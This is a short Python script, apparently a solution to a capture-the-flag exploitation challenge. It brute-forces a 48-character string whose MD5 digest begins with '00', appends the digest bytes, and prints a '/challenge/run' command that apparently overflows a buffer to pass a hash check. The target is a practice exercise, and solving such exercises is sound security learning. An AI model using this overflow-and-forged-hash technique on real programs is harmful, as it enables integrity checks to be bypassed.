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40 lines
901 B
Python
40 lines
901 B
Python
import string
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import hashlib
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letters = string.ascii_letters + string.digits
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letters_len = len(letters)
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def make_str(num, length):
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s = ""
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while len(s) < length:
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s += letters[num % letters_len]
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num = num // letters_len
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s = s[::-1]
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return s
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def get_hash(length, hash_start):
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possibilities = letters_len**length
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s, string_hash = "", ""
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for num in range(0, possibilities):
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s = make_str(num, length)
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if num % 10 == 1:
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print(s)
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string_hash = hashlib.md5(s.encode()).digest().hex()
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if string_hash[: len(hash_start)] == hash_start:
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break
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hash = ""
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for i in range(0, len(string_hash), 2):
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hash = hash + "\\x" + string_hash[i : i + 2]
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return s, hash
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buffer_len = 0x30 # 48 bytes
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s, string_hash = get_hash(buffer_len, "00")
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print("/challenge/run $'", s + string_hash, "'", sep="")
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